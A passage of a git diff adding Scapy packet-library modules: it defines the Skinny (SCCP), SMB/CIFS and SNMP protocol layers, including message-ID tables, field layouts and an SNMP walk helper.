+  0x002F: "DeviceToUserDataResponseMessage",
+  0x0030: "UpdateCapabilitiesMessage",
+  0x0031: "OpenMultiMediaReceiveChannelAckMessage",
+  0x0032: "ClearConferenceMessage",
+  0x0033: "ServiceURLStatReqMessage",
+  0x0034: "FeatureStatReqMessage",
+  0x0035: "CreateConferenceResMessage",
+  0x0036: "DeleteConferenceResMessage",
+  0x0037: "ModifyConferenceResMessage",
+  0x0038: "AddParticipantResMessage",
+  0x0039: "AuditConferenceResMessage",
+  0x0040: "AuditParticipantResMessage",
+  0x0041: "DeviceToUserDataVersion1Message",
+# Callmanager -> Station */
+  0x0081: "RegisterAckMessage",
+  0x0082: "StartToneMessage",
+  0x0083: "StopToneMessage",
+  0x0085: "SetRingerMessage",
+  0x0086: "SetLampMessage",
+  0x0087: "SetHkFDetectMessage",
+  0x0088: "SetSpeakerModeMessage",
+  0x0089: "SetMicroModeMessage",
+  0x008A: "StartMediaTransmission",
+  0x008B: "StopMediaTransmission",
+  0x008C: "StartMediaReception",
+  0x008D: "StopMediaReception",
+  0x008F: "CallInfoMessage",
+  0x0090: "ForwardStatMessage",
+  0x0091: "SpeedDialStatMessage",
+  0x0092: "LineStatMessage",
+  0x0093: "ConfigStatMessage",
+  0x0094: "DefineTimeDate",
+  0x0095: "StartSessionTransmission",
+  0x0096: "StopSessionTransmission",
+  0x0097: "ButtonTemplateMessage",
+  0x0098: "VersionMessage",
+  0x0099: "DisplayTextMessage",
+  0x009A: "ClearDisplay",
+  0x009B: "CapabilitiesReqMessage",
+  0x009C: "EnunciatorCommandMessage",
+  0x009D: "RegisterRejectMessage",
+  0x009E: "ServerResMessage",
+  0x009F: "Reset",
+  0x0100: "KeepAliveAckMessage",
+  0x0101: "StartMulticastMediaReception",
+  0x0102: "StartMulticastMediaTransmission",
+  0x0103: "StopMulticastMediaReception",
+  0x0104: "StopMulticastMediaTransmission",
+  0x0105: "OpenReceiveChannel",
+  0x0106: "CloseReceiveChannel",
+  0x0107: "ConnectionStatisticsReq",
+  0x0108: "SoftKeyTemplateResMessage",
+  0x0109: "SoftKeySetResMessage",
+  0x0110: "SelectSoftKeysMessage",
+  0x0111: "CallStateMessage",
+  0x0112: "DisplayPromptStatusMessage",
+  0x0113: "ClearPromptStatusMessage",
+  0x0114: "DisplayNotifyMessage",
+  0x0115: "ClearNotifyMessage",
+  0x0116: "ActivateCallPlaneMessage",
+  0x0117: "DeactivateCallPlaneMessage",
+  0x0118: "UnregisterAckMessage",
+  0x0119: "BackSpaceReqMessage",
+  0x011A: "RegisterTokenAck",
+  0x011B: "RegisterTokenReject",
+  0x0042: "DeviceToUserDataResponseVersion1Message",
+  0x011C: "StartMediaFailureDetection",
+  0x011D: "DialedNumberMessage",
+  0x011E: "UserToDeviceDataMessage",
+  0x011F: "FeatureStatMessage",
+  0x0120: "DisplayPriNotifyMessage",
+  0x0121: "ClearPriNotifyMessage",
+  0x0122: "StartAnnouncementMessage",
+  0x0123: "StopAnnouncementMessage",
+  0x0124: "AnnouncementFinishMessage",
+  0x0127: "NotifyDtmfToneMessage",
+  0x0128: "SendDtmfToneMessage",
+  0x0129: "SubscribeDtmfPayloadReqMessage",
+  0x012A: "SubscribeDtmfPayloadResMessage",
+  0x012B: "SubscribeDtmfPayloadErrMessage",
+  0x012C: "UnSubscribeDtmfPayloadReqMessage",
+  0x012D: "UnSubscribeDtmfPayloadResMessage",
+  0x012E: "UnSubscribeDtmfPayloadErrMessage",
+  0x012F: "ServiceURLStatMessage",
+  0x0130: "CallSelectStatMessage",
+  0x0131: "OpenMultiMediaChannelMessage",
+  0x0132: "StartMultiMediaTransmission",
+  0x0133: "StopMultiMediaTransmission",
+  0x0134: "MiscellaneousCommandMessage",
+  0x0135: "FlowControlCommandMessage",
+  0x0136: "CloseMultiMediaReceiveChannel",
+  0x0137: "CreateConferenceReqMessage",
+  0x0138: "DeleteConferenceReqMessage",
+  0x0139: "ModifyConferenceReqMessage",
+  0x013A: "AddParticipantReqMessage",
+  0x013B: "DropParticipantReqMessage",
+  0x013C: "AuditConferenceReqMessage",
+  0x013D: "AuditParticipantReqMessage",
+  0x013F: "UserToDeviceDataVersion1Message",
+  }
+
+
+        
+class Skinny(Packet):
+    name="Skinny"
+    fields_desc = [ LEIntField("len",0),
+                    LEIntField("res",0),
+                    LEIntEnumField("msg",0,skinny_messages) ]
+
+bind_layers( TCP,           Skinny,        dport=2000)
+bind_layers( TCP,           Skinny,        sport=2000)
diff --git a/scapy/layers/smb.py b/scapy/layers/smb.py
new file mode 100644
index 0000000..3c49269
--- /dev/null
+++ b/scapy/layers/smb.py
@@ -0,0 +1,354 @@
+## This file is part of Scapy
+## See http://www.secdev.org/projects/scapy for more informations
+## Copyright (C) Philippe Biondi <phil@secdev.org>
+## This program is published under a GPLv2 license
+
+"""
+SMB (Server Message Block), also known as CIFS.
+"""
+
+from scapy.packet import *
+from scapy.fields import *
+from scapy.layers.netbios import NBTSession
+
+
+# SMB NetLogon Response Header
+class SMBNetlogon_Protocol_Response_Header(Packet):
+    name="SMBNetlogon Protocol Response Header"
+    fields_desc = [StrFixedLenField("Start",b"\xffSMB",4),
+                   ByteEnumField("Command",0x25,{0x25:"Trans"}),
+                   ByteField("Error_Class",0x02),
+                   ByteField("Reserved",0),
+                   LEShortField("Error_code",4),
+                   ByteField("Flags",0),
+                   LEShortField("Flags2",0x0000),
+                   LEShortField("PIDHigh",0x0000),
+                   LELongField("Signature",0x0),
+                   LEShortField("Unused",0x0),
+                   LEShortField("TID",0),
+                   LEShortField("PID",0),
+                   LEShortField("UID",0),
+                   LEShortField("MID",0),
+                   ByteField("WordCount",17),
+                   LEShortField("TotalParamCount",0),
+                   LEShortField("TotalDataCount",112),
+                   LEShortField("MaxParamCount",0),
+                   LEShortField("MaxDataCount",0),
+                   ByteField("MaxSetupCount",0),
+                   ByteField("unused2",0),
+                   LEShortField("Flags3",0),
+                   ByteField("TimeOut1",0xe8),
+                   ByteField("TimeOut2",0x03),
+                   LEShortField("unused3",0),
+                   LEShortField("unused4",0),
+                   LEShortField("ParamCount2",0),
+                   LEShortField("ParamOffset",0),
+                   LEShortField("DataCount",112),
+                   LEShortField("DataOffset",92),
+                   ByteField("SetupCount", 3),
+                   ByteField("unused5", 0)]
+
+# SMB MailSlot Protocol
+class SMBMailSlot(Packet):
+    name = "SMB Mail Slot Protocol"
+    fields_desc = [LEShortField("opcode", 1),
+                   LEShortField("priority", 1),
+                   LEShortField("class", 2),
+                   LEShortField("size", 135),
+                   StrNullField("name","\\MAILSLOT\\NET\\GETDC660")]
+
+# SMB NetLogon Protocol Response Tail SAM
+class SMBNetlogon_Protocol_Response_Tail_SAM(Packet):
+    name = "SMB Netlogon Protocol Response Tail SAM"
+    fields_desc = [ByteEnumField("Command", 0x17, {0x12:"SAM logon request", 0x17:"SAM Active directory Response"}),
+                   ByteField("unused", 0),
+                   ShortField("Data1", 0),
+                   ShortField("Data2", 0xfd01),
+                   ShortField("Data3", 0),
+                   ShortField("Data4", 0xacde),
+                   ShortField("Data5", 0x0fe5),
+                   ShortField("Data6", 0xd10a),
+                   ShortField("Data7", 0x374c),
+                   ShortField("Data8", 0x83e2),
+                   ShortField("Data9", 0x7dd9),
+                   ShortField("Data10", 0x3a16),
+                   ShortField("Data11", 0x73ff),
+                   ByteField("Data12", 0x04),
+                   StrFixedLenField("Data13", "rmff", 4),
+                   ByteField("Data14", 0x0),
+                   ShortField("Data16", 0xc018),
+                   ByteField("Data18", 0x0a),
+                   StrFixedLenField("Data20", "rmff-win2k", 10),
+                   ByteField("Data21", 0xc0),
+                   ShortField("Data22", 0x18c0),
+                   ShortField("Data23", 0x180a),
+                   StrFixedLenField("Data24", "RMFF-WIN2K", 10),
+                   ShortField("Data25", 0),
+                   ByteField("Data26", 0x17),
+                   StrFixedLenField("Data27", "Default-First-Site-Name", 23),
+                   ShortField("Data28", 0x00c0),
+                   ShortField("Data29", 0x3c10),
+                   ShortField("Data30", 0x00c0),
+                   ShortField("Data31", 0x0200),
+                   ShortField("Data32", 0x0),
+                   ShortField("Data33", 0xac14),
+                   ShortField("Data34", 0x0064),
+                   ShortField("Data35", 0x0),
+                   ShortField("Data36", 0x0),
+                   ShortField("Data37", 0x0),
+                   ShortField("Data38", 0x0),
+                   ShortField("Data39", 0x0d00),
+                   ShortField("Data40", 0x0),
+                   ShortField("Data41", 0xffff)]                   
+
+# SMB NetLogon Protocol Response Tail LM2.0
+class SMBNetlogon_Protocol_Response_Tail_LM20(Packet):
+    name = "SMB Netlogon Protocol Response Tail LM20"
+    fields_desc = [ByteEnumField("Command",0x06,{0x06:"LM 2.0 Response to logon request"}),
+                   ByteField("unused", 0),
+                   StrFixedLenField("DblSlash", "\\\\", 2),
+                   StrNullField("ServerName","WIN"),
+                   LEShortField("LM20Token", 0xffff)]
+
+# SMBNegociate Protocol Request Header
+class SMBNegociate_Protocol_Request_Header(Packet):
+    name="SMBNegociate Protocol Request Header"
+    fields_desc = [StrFixedLenField("Start",b"\xffSMB",4),
+                   ByteEnumField("Command",0x72,{0x72:"SMB_COM_NEGOTIATE"}),
+                   ByteField("Error_Class",0),
+                   ByteField("Reserved",0),
+                   LEShortField("Error_code",0),
+                   ByteField("Flags",0x18),
+                   LEShortField("Flags2",0x0000),
+                   LEShortField("PIDHigh",0x0000),
+                   LELongField("Signature",0x0),
+                   LEShortField("Unused",0x0),
+                   LEShortField("TID",0),
+                   LEShortField("PID",1),
+                   LEShortField("UID",0),
+                   LEShortField("MID",2),
+                   ByteField("WordCount",0),
+                   LEShortField("ByteCount",12)]
+
+# SMB Negociate Protocol Request Tail
+class SMBNegociate_Protocol_Request_Tail(Packet):
+    name="SMB Negociate Protocol Request Tail"
+    fields_desc=[ByteField("BufferFormat",0x02),
+                 StrNullField("BufferData","NT LM 0.12")]
+
+# SMBNegociate Protocol Response Advanced Security
+class SMBNegociate_Protocol_Response_Advanced_Security(Packet):
+    name="SMBNegociate Protocol Response Advanced Security"
+    fields_desc = [StrFixedLenField("Start",b"\xffSMB",4),
+                   ByteEnumField("Command",0x72,{0x72:"SMB_COM_NEGOTIATE"}),
+                   ByteField("Error_Class",0),
+                   ByteField("Reserved",0),
+                   LEShortField("Error_Code",0),
+                   ByteField("Flags",0x98),
+                   LEShortField("Flags2",0x0000),
+                   LEShortField("PIDHigh",0x0000),
+                   LELongField("Signature",0x0),
+                   LEShortField("Unused",0x0),
+                   LEShortField("TID",0),
+                   LEShortField("PID",1),
+                   LEShortField("UID",0),
+                   LEShortField("MID",2),
+                   ByteField("WordCount",17),
+                   LEShortField("DialectIndex",7),
+                   ByteField("SecurityMode",0x03),
+                   LEShortField("MaxMpxCount",50),
+                   LEShortField("MaxNumberVC",1),
+                   LEIntField("MaxBufferSize",16144),
+                   LEIntField("MaxRawSize",65536),
+                   LEIntField("SessionKey",0x0000),
+                   LEShortField("ServerCapabilities",0xf3f9),
+                   BitField("UnixExtensions",0,1),
+                   BitField("Reserved2",0,7),
+                   BitField("ExtendedSecurity",1,1),
+                   BitField("CompBulk",0,2),
+                   BitField("Reserved3",0,5),
+# There have been 127490112000000000 tenths of micro-seconds between 1st january 1601 and 1st january 2005. 127490112000000000=0x1C4EF94D6228000, so ServerTimeHigh=0xD6228000 and ServerTimeLow=0x1C4EF94.
+                   LEIntField("ServerTimeHigh",0xD6228000),
+                   LEIntField("ServerTimeLow",0x1C4EF94),
+                   LEShortField("ServerTimeZone",0x3c),
+                   ByteField("EncryptionKeyLength",0),
+                   LEFieldLenField("ByteCount", None, "SecurityBlob", adjust=lambda pkt,x:x-16),
+                   BitField("GUID",0,128),
+                   StrLenField("SecurityBlob", "", length_from=lambda x:x.ByteCount+16)]
+
+# SMBNegociate Protocol Response No Security
+# When using no security, with EncryptionKeyLength=8, you must have an EncryptionKey before the DomainName
+class SMBNegociate_Protocol_Response_No_Security(Packet):
+    name="SMBNegociate Protocol Response No Security"
+    fields_desc = [StrFixedLenField("Start",b"\xffSMB",4),
+                   ByteEnumField("Command",0x72,{0x72:"SMB_COM_NEGOTIATE"}),
+                   ByteField("Error_Class",0),
+                   ByteField("Reserved",0),
+                   LEShortField("Error_Code",0),
+                   ByteField("Flags",0x98),
+                   LEShortField("Flags2",0x0000),
+                   LEShortField("PIDHigh",0x0000),
+                   LELongField("Signature",0x0),
+                   LEShortField("Unused",0x0),
+                   LEShortField("TID",0),
+                   LEShortField("PID",1),
+                   LEShortField("UID",0),
+                   LEShortField("MID",2),
+                   ByteField("WordCount",17),
+                   LEShortField("DialectIndex",7),
+                   ByteField("SecurityMode",0x03),
+                   LEShortField("MaxMpxCount",50),
+                   LEShortField("MaxNumberVC",1),
+                   LEIntField("MaxBufferSize",16144),
+                   LEIntField("MaxRawSize",65536),
+                   LEIntField("SessionKey",0x0000),
+                   LEShortField("ServerCapabilities",0xf3f9),
+                   BitField("UnixExtensions",0,1),
+                   BitField("Reserved2",0,7),
+                   BitField("ExtendedSecurity",0,1),
+                   FlagsField("CompBulk",0,2,"CB"),
+                   BitField("Reserved3",0,5),
+                   # There have been 127490112000000000 tenths of micro-seconds between 1st january 1601 and 1st january 2005. 127490112000000000=0x1C4EF94D6228000, so ServerTimeHigh=0xD6228000 and ServerTimeLow=0x1C4EF94.
+                   LEIntField("ServerTimeHigh",0xD6228000),
+                   LEIntField("ServerTimeLow",0x1C4EF94),
+                   LEShortField("ServerTimeZone",0x3c),
+                   ByteField("EncryptionKeyLength",8),
+                   LEShortField("ByteCount",24),
+                   BitField("EncryptionKey",0,64),
+                   StrNullField("DomainName","WORKGROUP"),
+                   StrNullField("ServerName","RMFF1")]
+    
+# SMBNegociate Protocol Response No Security No Key
+class SMBNegociate_Protocol_Response_No_Security_No_Key(Packet):
+    namez="SMBNegociate Protocol Response No Security No Key"
+    fields_desc = [StrFixedLenField("Start",b"\xffSMB",4),
+                   ByteEnumField("Command",0x72,{0x72:"SMB_COM_NEGOTIATE"}),
+                   ByteField("Error_Class",0),
+                   ByteField("Reserved",0),
+                   LEShortField("Error_Code",0),
+                   ByteField("Flags",0x98),
+                   LEShortField("Flags2",0x0000),
+                   LEShortField("PIDHigh",0x0000),
+                   LELongField("Signature",0x0),
+                   LEShortField("Unused",0x0),
+                   LEShortField("TID",0),
+                   LEShortField("PID",1),
+                   LEShortField("UID",0),
+                   LEShortField("MID",2),
+                   ByteField("WordCount",17),
+                   LEShortField("DialectIndex",7),
+                   ByteField("SecurityMode",0x03),
+                   LEShortField("MaxMpxCount",50),
+                   LEShortField("MaxNumberVC",1),
+                   LEIntField("MaxBufferSize",16144),
+                   LEIntField("MaxRawSize",65536),
+                   LEIntField("SessionKey",0x0000),
+                   LEShortField("ServerCapabilities",0xf3f9),
+                   BitField("UnixExtensions",0,1),
+                   BitField("Reserved2",0,7),
+                   BitField("ExtendedSecurity",0,1),
+                   FlagsField("CompBulk",0,2,"CB"),
+                   BitField("Reserved3",0,5),
+                   # There have been 127490112000000000 tenths of micro-seconds between 1st january 1601 and 1st january 2005. 127490112000000000=0x1C4EF94D6228000, so ServerTimeHigh=0xD6228000 and ServerTimeLow=0x1C4EF94.
+                   LEIntField("ServerTimeHigh",0xD6228000),
+                   LEIntField("ServerTimeLow",0x1C4EF94),
+                   LEShortField("ServerTimeZone",0x3c),
+                   ByteField("EncryptionKeyLength",0),
+                   LEShortField("ByteCount",16),
+                   StrNullField("DomainName","WORKGROUP"),
+                   StrNullField("ServerName","RMFF1")]
+    
+# Session Setup AndX Request
+class SMBSession_Setup_AndX_Request(Packet):
+    name="Session Setup AndX Request"
+    fields_desc=[StrFixedLenField("Start",b"\xffSMB",4),
+                ByteEnumField("Command",0x73,{0x73:"SMB_COM_SESSION_SETUP_ANDX"}),
+                 ByteField("Error_Class",0),
+                 ByteField("Reserved",0),
+                 LEShortField("Error_Code",0),
+                 ByteField("Flags",0x18),
+                 LEShortField("Flags2",0x0001),
+                 LEShortField("PIDHigh",0x0000),
+                 LELongField("Signature",0x0),
+                 LEShortField("Unused",0x0),
+                 LEShortField("TID",0),
+                 LEShortField("PID",1),
+                 LEShortField("UID",0),
+                 LEShortField("MID",2),
+                 ByteField("WordCount",13),
+                 ByteEnumField("AndXCommand",0x75,{0x75:"SMB_COM_TREE_CONNECT_ANDX"}),
+                 ByteField("Reserved2",0),
+                 LEShortField("AndXOffset",96),
+                 LEShortField("MaxBufferS",2920),
+                 LEShortField("MaxMPXCount",50),
+                 LEShortField("VCNumber",0),
+                 LEIntField("SessionKey",0),
+                 LEFieldLenField("ANSIPasswordLength",None,"ANSIPassword"),
+                 LEShortField("UnicodePasswordLength",0),
+                 LEIntField("Reserved3",0),
+                 LEShortField("ServerCapabilities",0x05),
+                 BitField("UnixExtensions",0,1),
+                 BitField("Reserved4",0,7),
+                 BitField("ExtendedSecurity",0,1),
+                 BitField("CompBulk",0,2),
+                 BitField("Reserved5",0,5),
+                 LEShortField("ByteCount",35),
+                 StrLenField("ANSIPassword", "Pass",length_from=lambda x:x.ANSIPasswordLength),
+                 StrNullField("Account","GUEST"),
+                 StrNullField("PrimaryDomain",  ""),
+                 StrNullField("NativeOS","Windows 4.0"),
+                 StrNullField("NativeLanManager","Windows 4.0"),
+                 ByteField("WordCount2",4),
+                 ByteEnumField("AndXCommand2",0xFF,{0xFF:"SMB_COM_NONE"}),
+                 ByteField("Reserved6",0),
+                 LEShortField("AndXOffset2",0),
+                 LEShortField("Flags3",0x2),
+                 LEShortField("PasswordLength",0x1),
+                 LEShortField("ByteCount2",18),
+                 ByteField("Password",0),
+                 StrNullField("Path","\\\\WIN2K\\IPC$"),
+                 StrNullField("Service","IPC")]
+
+# Session Setup AndX Response
+class SMBSession_Setup_AndX_Response(Packet):
+    name="Session Setup AndX Response"
+    fields_desc=[StrFixedLenField("Start",b"\xffSMB",4),
+                 ByteEnumField("Command",0x73,{0x73:"SMB_COM_SESSION_SETUP_ANDX"}),
+                 ByteField("Error_Class",0),
+                 ByteField("Reserved",0),
+                 LEShortField("Error_Code",0),
+                 ByteField("Flags",0x90),
+                 LEShortField("Flags2",0x1001),
+                 LEShortField("PIDHigh",0x0000),
+                 LELongField("Signature",0x0),
+                 LEShortField("Unused",0x0),
+                 LEShortField("TID",0),
+                 LEShortField("PID",1),
+                 LEShortField("UID",0),
+                 LEShortField("MID",2),
+                 ByteField("WordCount",3),
+                 ByteEnumField("AndXCommand",0x75,{0x75:"SMB_COM_TREE_CONNECT_ANDX"}),
+                 ByteField("Reserved2",0),
+                 LEShortField("AndXOffset",66),
+                 LEShortField("Action",0),
+                 LEShortField("ByteCount",25),
+                 StrNullField("NativeOS","Windows 4.0"),
+                 StrNullField("NativeLanManager","Windows 4.0"),
+                 StrNullField("PrimaryDomain",""),
+                 ByteField("WordCount2",3),
+                 ByteEnumField("AndXCommand2",0xFF,{0xFF:"SMB_COM_NONE"}),
+                 ByteField("Reserved3",0),
+                 LEShortField("AndXOffset2",80),
+                 LEShortField("OptionalSupport",0x01),
+                 LEShortField("ByteCount2",5),
+                 StrNullField("Service","IPC"),
+                 StrNullField("NativeFileSystem","")]
+
+bind_layers( NBTSession,                           SMBNegociate_Protocol_Request_Header, )
+bind_layers( NBTSession,    SMBNegociate_Protocol_Response_Advanced_Security,  ExtendedSecurity=1)
+bind_layers( NBTSession,    SMBNegociate_Protocol_Response_No_Security,        ExtendedSecurity=0, EncryptionKeyLength=8)
+bind_layers( NBTSession,    SMBNegociate_Protocol_Response_No_Security_No_Key, ExtendedSecurity=0, EncryptionKeyLength=0)
+bind_layers( NBTSession,    SMBSession_Setup_AndX_Request, )
+bind_layers( NBTSession,    SMBSession_Setup_AndX_Response, )
+bind_layers( SMBNegociate_Protocol_Request_Header, SMBNegociate_Protocol_Request_Tail, )
+bind_layers( SMBNegociate_Protocol_Request_Tail,   SMBNegociate_Protocol_Request_Tail, )
diff --git a/scapy/layers/snmp.py b/scapy/layers/snmp.py
new file mode 100644
index 0000000..acd5bf5
--- /dev/null
+++ b/scapy/layers/snmp.py
@@ -0,0 +1,261 @@
+## This file is part of Scapy
+## See http://www.secdev.org/projects/scapy for more informations
+## Copyright (C) Philippe Biondi <phil@secdev.org>
+## This program is published under a GPLv2 license
+
+"""
+SNMP (Simple Network Management Protocol).
+"""
+
+from __future__ import print_function
+from scapy.packet import *
+from scapy.asn1packet import *
+from scapy.asn1fields import *
+from scapy.asn1.asn1 import *
+from scapy.asn1.ber import *
+from scapy.sendrecv import sr1
+from scapy.volatile import *
+from scapy.layers.inet import UDP, IP, ICMP
+
+##########
+## SNMP ##
+##########
+
+######[ ASN1 class ]######
+
+class ASN1_Class_SNMP(ASN1_Class_UNIVERSAL):
+    name="SNMP"
+    PDU_GET = 0xa0
+    PDU_NEXT = 0xa1
+    PDU_RESPONSE = 0xa2
+    PDU_SET = 0xa3
+    PDU_TRAPv1 = 0xa4
+    PDU_BULK = 0xa5
+    PDU_INFORM = 0xa6
+    PDU_TRAPv2 = 0xa7
+
+
+class ASN1_SNMP_PDU_GET(ASN1_SEQUENCE):
+    tag = ASN1_Class_SNMP.PDU_GET
+
+class ASN1_SNMP_PDU_NEXT(ASN1_SEQUENCE):
+    tag = ASN1_Class_SNMP.PDU_NEXT
+
+class ASN1_SNMP_PDU_RESPONSE(ASN1_SEQUENCE):
+    tag = ASN1_Class_SNMP.PDU_RESPONSE
+
+class ASN1_SNMP_PDU_SET(ASN1_SEQUENCE):
+    tag = ASN1_Class_SNMP.PDU_SET
+
+class ASN1_SNMP_PDU_TRAPv1(ASN1_SEQUENCE):
+    tag = ASN1_Class_SNMP.PDU_TRAPv1
+
+class ASN1_SNMP_PDU_BULK(ASN1_SEQUENCE):
+    tag = ASN1_Class_SNMP.PDU_BULK
+
+class ASN1_SNMP_PDU_INFORM(ASN1_SEQUENCE):
+    tag = ASN1_Class_SNMP.PDU_INFORM
+
+class ASN1_SNMP_PDU_TRAPv2(ASN1_SEQUENCE):
+    tag = ASN1_Class_SNMP.PDU_TRAPv2
+
+
+######[ BER codecs ]#######
+
+class BERcodec_SNMP_PDU_GET(BERcodec_SEQUENCE):
+    tag = ASN1_Class_SNMP.PDU_GET
+
+class BERcodec_SNMP_PDU_NEXT(BERcodec_SEQUENCE):
+    tag = ASN1_Class_SNMP.PDU_NEXT
+
+class BERcodec_SNMP_PDU_RESPONSE(BERcodec_SEQUENCE):
+    tag = ASN1_Class_SNMP.PDU_RESPONSE
+
+class BERcodec_SNMP_PDU_SET(BERcodec_SEQUENCE):
+    tag = ASN1_Class_SNMP.PDU_SET
+
+class BERcodec_SNMP_PDU_TRAPv1(BERcodec_SEQUENCE):
+    tag = ASN1_Class_SNMP.PDU_TRAPv1
+
+class BERcodec_SNMP_PDU_BULK(BERcodec_SEQUENCE):
+    tag = ASN1_Class_SNMP.PDU_BULK
+
+class BERcodec_SNMP_PDU_INFORM(BERcodec_SEQUENCE):
+    tag = ASN1_Class_SNMP.PDU_INFORM
+
+class BERcodec_SNMP_PDU_TRAPv2(BERcodec_SEQUENCE):
+    tag = ASN1_Class_SNMP.PDU_TRAPv2
+
+
+
+######[ ASN1 fields ]######
+
+class ASN1F_SNMP_PDU_GET(ASN1F_SEQUENCE):
+    ASN1_tag = ASN1_Class_SNMP.PDU_GET
+
+class ASN1F_SNMP_PDU_NEXT(ASN1F_SEQUENCE):
+    ASN1_tag = ASN1_Class_SNMP.PDU_NEXT
+
+class ASN1F_SNMP_PDU_RESPONSE(ASN1F_SEQUENCE):
+    ASN1_tag = ASN1_Class_SNMP.PDU_RESPONSE
+
+class ASN1F_SNMP_PDU_SET(ASN1F_SEQUENCE):
+    ASN1_tag = ASN1_Class_SNMP.PDU_SET
+
+class ASN1F_SNMP_PDU_TRAPv1(ASN1F_SEQUENCE):
+    ASN1_tag = ASN1_Class_SNMP.PDU_TRAPv1
+
+class ASN1F_SNMP_PDU_BULK(ASN1F_SEQUENCE):
+    ASN1_tag = ASN1_Class_SNMP.PDU_BULK
+
+class ASN1F_SNMP_PDU_INFORM(ASN1F_SEQUENCE):
+    ASN1_tag = ASN1_Class_SNMP.PDU_INFORM
+
+class ASN1F_SNMP_PDU_TRAPv2(ASN1F_SEQUENCE):
+    ASN1_tag = ASN1_Class_SNMP.PDU_TRAPv2
+
+
+
+######[ SNMP Packet ]######
+
+SNMP_error = { 0: "no_error",
+               1: "too_big",
+               2: "no_such_name",
+               3: "bad_value",
+               4: "read_only",
+               5: "generic_error",
+               6: "no_access",
+               7: "wrong_type",
+               8: "wrong_length",
+               9: "wrong_encoding",
+              10: "wrong_value",
+              11: "no_creation",
+              12: "inconsistent_value",
+              13: "resource_unavailable",
+              14: "commit_failed",
+              15: "undo_failed",
+              16: "authorization_error",
+              17: "not_writable",
+              18: "inconsistent_name",
+               }
+
+SNMP_trap_types = { 0: "cold_start",
+                    1: "warm_start",
+                    2: "link_down",
+                    3: "link_up",
+                    4: "auth_failure",
+                    5: "egp_neigh_loss",
+                    6: "enterprise_specific",
+                    }
+
+class SNMPvarbind(ASN1_Packet):
+    ASN1_codec = ASN1_Codecs.BER
+    ASN1_root = ASN1F_SEQUENCE( ASN1F_OID("oid","1.3"),
+                                ASN1F_field("value",ASN1_NULL(0))
+                                )
+
+
+class SNMPget(ASN1_Packet):
+    ASN1_codec = ASN1_Codecs.BER
+    ASN1_root = ASN1F_SNMP_PDU_GET( ASN1F_INTEGER("id",0),
+                                    ASN1F_enum_INTEGER("error",0, SNMP_error),
+                                    ASN1F_INTEGER("error_index",0),
+                                    ASN1F_SEQUENCE_OF("varbindlist", [], SNMPvarbind)
+                                    )
+
+class SNMPnext(ASN1_Packet):
+    ASN1_codec = ASN1_Codecs.BER
+    ASN1_root = ASN1F_SNMP_PDU_NEXT( ASN1F_INTEGER("id",0),
+                                     ASN1F_enum_INTEGER("error",0, SNMP_error),
+                                     ASN1F_INTEGER("error_index",0),
+                                     ASN1F_SEQUENCE_OF("varbindlist", [], SNMPvarbind)
+                                     )
+
+class SNMPresponse(ASN1_Packet):
+    ASN1_codec = ASN1_Codecs.BER
+    ASN1_root = ASN1F_SNMP_PDU_RESPONSE( ASN1F_INTEGER("id",0),
+                                         ASN1F_enum_INTEGER("error",0, SNMP_error),
+                                         ASN1F_INTEGER("error_index",0),
+                                         ASN1F_SEQUENCE_OF("varbindlist", [], SNMPvarbind)
+                                         )
+
+class SNMPset(ASN1_Packet):
+    ASN1_codec = ASN1_Codecs.BER
+    ASN1_root = ASN1F_SNMP_PDU_SET( ASN1F_INTEGER("id",0),
+                                    ASN1F_enum_INTEGER("error",0, SNMP_error),
+                                    ASN1F_INTEGER("error_index",0),
+                                    ASN1F_SEQUENCE_OF("varbindlist", [], SNMPvarbind)
+                                    )
+    
+class SNMPtrapv1(ASN1_Packet):
+    ASN1_codec = ASN1_Codecs.BER
+    ASN1_root = ASN1F_SNMP_PDU_TRAPv1( ASN1F_OID("enterprise", "1.3"),
+                                       ASN1F_IPADDRESS("agent_addr","0.0.0.0"),
+                                       ASN1F_enum_INTEGER("generic_trap", 0, SNMP_trap_types),
+                                       ASN1F_INTEGER("specific_trap", 0),
+                                       ASN1F_TIME_TICKS("time_stamp", IntAutoTime()),
+                                       ASN1F_SEQUENCE_OF("varbindlist", [], SNMPvarbind)
+                                       )
+
+class SNMPbulk(ASN1_Packet):
+    ASN1_codec = ASN1_Codecs.BER
+    ASN1_root = ASN1F_SNMP_PDU_BULK( ASN1F_INTEGER("id",0),
+                                     ASN1F_INTEGER("non_repeaters",0),
+                                     ASN1F_INTEGER("max_repetitions",0),
+                                     ASN1F_SEQUENCE_OF("varbindlist", [], SNMPvarbind)
+                                     )
+    
+class SNMPinform(ASN1_Packet):
+    ASN1_codec = ASN1_Codecs.BER
+    ASN1_root = ASN1F_SNMP_PDU_INFORM( ASN1F_INTEGER("id",0),
+                                       ASN1F_enum_INTEGER("error",0, SNMP_error),
+                                       ASN1F_INTEGER("error_index",0),
+                                       ASN1F_SEQUENCE_OF("varbindlist", [], SNMPvarbind)
+                                       )
+    
+class SNMPtrapv2(ASN1_Packet):
+    ASN1_codec = ASN1_Codecs.BER
+    ASN1_root = ASN1F_SNMP_PDU_TRAPv2( ASN1F_INTEGER("id",0),
+                                       ASN1F_enum_INTEGER("error",0, SNMP_error),
+                                       ASN1F_INTEGER("error_index",0),
+                                       ASN1F_SEQUENCE_OF("varbindlist", [], SNMPvarbind)
+                                       )
+    
+
+class SNMP(ASN1_Packet):
+    ASN1_codec = ASN1_Codecs.BER
+    ASN1_root = ASN1F_SEQUENCE(
+        ASN1F_enum_INTEGER("version", 1, {0:"v1", 1:"v2c", 2:"v2", 3:"v3"}),
+        ASN1F_STRING("community","public"),
+        ASN1F_CHOICE("PDU", SNMPget(),
+                     SNMPget, SNMPnext, SNMPresponse, SNMPset,
+                     SNMPtrapv1, SNMPbulk, SNMPinform, SNMPtrapv2)
+        )
+    def answers(self, other):
+        return ( isinstance(self.PDU, SNMPresponse)    and
+                 ( isinstance(other.PDU, SNMPget) or
+                   isinstance(other.PDU, SNMPnext) or
+                   isinstance(other.PDU, SNMPset)    ) and
+                 self.PDU.id == other.PDU.id )
+
+bind_layers( UDP,           SNMP,          sport=161)
+bind_layers( UDP,           SNMP,          dport=161)
+bind_layers( UDP,           SNMP,          sport=162) 
+bind_layers( UDP,           SNMP,          dport=162) 
+
+def snmpwalk(dst, oid="1", community="public"):
+    try:
+        while True:
+            r = sr1(IP(dst=dst)/UDP(sport=RandShort())/SNMP(community=community, PDU=SNMPnext(varbindlist=[SNMPvarbind(oid=oid)])),timeout=2, chainCC=1, verbose=0, retry=2)
+            if ICMP in r:
+                print(repr(r))
+                break
+            if r is None:
+                print("No answers")
+                break
